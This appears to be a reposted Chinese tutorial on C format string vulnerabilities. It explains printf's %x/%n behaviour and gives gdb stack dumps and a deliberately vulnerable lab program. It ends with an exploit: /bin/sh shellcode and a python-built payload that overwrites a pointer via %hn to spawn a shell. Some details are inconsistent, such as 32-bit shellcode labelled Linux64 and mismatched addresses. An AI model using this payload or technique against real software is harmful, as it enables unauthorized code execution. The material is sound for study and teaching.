格式化字符串溢出

漏洞原理:

       printf是c语言中少有的支持可变参数的库函数。对于可变参数的函数。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中。

       格式化字符串漏洞的产生根源主要源于对用户输入未进行过滤,这些输入数据都作为数据传递给某些执行格式化操作的函数,如printf,sprintf,vprintf,vprintf。恶意用户可以使用"%s","%x"来得到堆栈的数据,甚至可以通过"%n"来对任意地址进行读写,导致任意代码读写。

       %d 用于读取10进制数值

  %x 用于读取16进制数值

  %s 用于读取字符串值

  %n 用于讲当前字符串的长度打印到var中,例 printf("test %hn",&var[其中var为两个字节]) printf("test %n",&var[其中var为一个字节])

       当printf在输出格式化字符串的时候,会维护一个内部指针,当printf逐步将格式化字符串的字符打印到屏幕,当遇到%的时候,printf会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。

格式化字符串溢出_第1张图片

漏洞利用:

越界数据访问

#include 

int main ()

{

int a=1,b=2,c=3;

char buf[]="test";

printf(“%s %d %d %d %x %x %x\n”,buf,a,b,c);//格式控制符与参数数量不等

return 0;

}

      编译问题:warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]

      解决:-Wformat=0

      gcc -z execstack -Wformat=0 -g -fno-stack-protector -m32 -o pr pr.c

gdb调试

(gdb) start

Temporary breakpoint 1 at 0x804841c: file pr.c, line 4.

Starting program: /home/hmsec/pr

Temporary breakpoint 1, main () at pr.c:4

4 int a=1,b=2,c=3;

(gdb) break printf

Breakpoint 2 at 0xf7e4a670

(gdb) r

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/hmsec/pr

Breakpoint 2, 0xf7e4a670 in printf () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/10x $esp

0xffffd05c: 0x08048456 0x080484f0 0xffffd08f 0x00000001

0xffffd06c: 0x00000002 0x00000003 0xf7fb3000 0xf7fb1244

0xffffd07c: 0xf7e190ec 0x00000001

       利用%x可以一直读取栈内的内存数据

利用%n写入数据

        %n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址

#include  
main() 
{ 
int num=66666666; 
printf("Before: num = %d\n", num); 
printf("%d%n\n", num, &num); 
printf("After: num = %d\n", num); 
}

       gcc -z execstack -Wformat=0 -g -fno-stack-protector -m32 -o pr2 pr2.c

自定义字符打印宽度

#include  
main() 
{ 
int num=66666666; 
printf("Before: num = %d\n", num); 
printf("%.100d%n\n", num, &num); 
printf("After: num = %d\n", num); 
}

格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。

 

漏洞实验

源代码

int main(int argv,char **argc) {
        short int zero=0;
        int *plen=(int*)malloc(sizeof(int));
        char buf[256];
        strcpy(buf,argc[1]);
        printf("%s%hn/n",buf,plen);
        while(zero);
}

如果攻击者提供260 bytes长的参数,最后四个字节将覆盖指针*plen。当接下来执行printf()时,将会在*plen(这个值由攻击者控制)所指向的内存中写入一些字符。然而,由于format string中的h,攻击者将只能写两个字节(short write---由于h的转换)到这个内存地址。如果提供的参数大于260字节,那么将会覆盖zero,这个例子的程序将进入死循环。

反汇编代码:

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804846b <+0>:	lea    ecx,[esp+0x4]
   0x0804846f <+4>:	and    esp,0xfffffff0
   0x08048472 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048475 <+10>:	push   ebp
   0x08048476 <+11>:	mov    ebp,esp
   0x08048478 <+13>:	push   ebx
   0x08048479 <+14>:	push   ecx
   0x0804847a <+15>:	sub    esp,0x110
   0x08048480 <+21>:	mov    ebx,ecx
   0x08048482 <+23>:	mov    WORD PTR [ebp-0xa],0x0    //zero
   0x08048488 <+29>:	sub    esp,0xc
   0x0804848b <+32>:	push   0x4
   0x0804848d <+34>:	call   0x8048340 
   0x08048492 <+39>:	add    esp,0x10
   0x08048495 <+42>:	mov    DWORD PTR [ebp-0x10],eax   //plen
   

 栈空间:

格式化字符串溢出_第2张图片

漏洞原理 

 

printf("%s%hn/n",buf,plen);

当执行printf()时,将会在*plen所指向的内存中写入一些字符。然而,由于format string中的h,攻击者将只能写两个字节(short write---由于h的转换)到这个内存地址。如果提供的参数大于260字节,那么将会覆盖zero,这个例子的程序将进入死循环。

 

所以需要构造一个合适的argc[1] ,另外有针对zero的检查,如果为NULL字节,程序将正常退出(这样就执行了shellcode)。因为zero0while循环结束,绕过死循环。这个问题可以通过%hn的格式参数来完成。zero是两个字节长,包含了两个NULL字节的较小的数是0x100006553616进制)。所以,如果argc[1]65536bytes长,*plen指向了zero的地址的话,死循环将被绕过。

编写exp

在EXPLOIT DATABASE中找到Linux64下简单的shellcode程序,并测试成功!
Shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’ 
zero = ‘\x8e\xd0\xfe\xff’
shellcode = ‘\x8c\xcf\xff\xff’
r `python -c 'print "\x8c\xcf\xfe\xff"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*(256-25-4)+"\x8e\xd0\xfe\xff"+"\x8c\xcf\xfe\xff"*((0x10000-260)/4)'`

结果 

你可能感兴趣的:(二进制漏洞)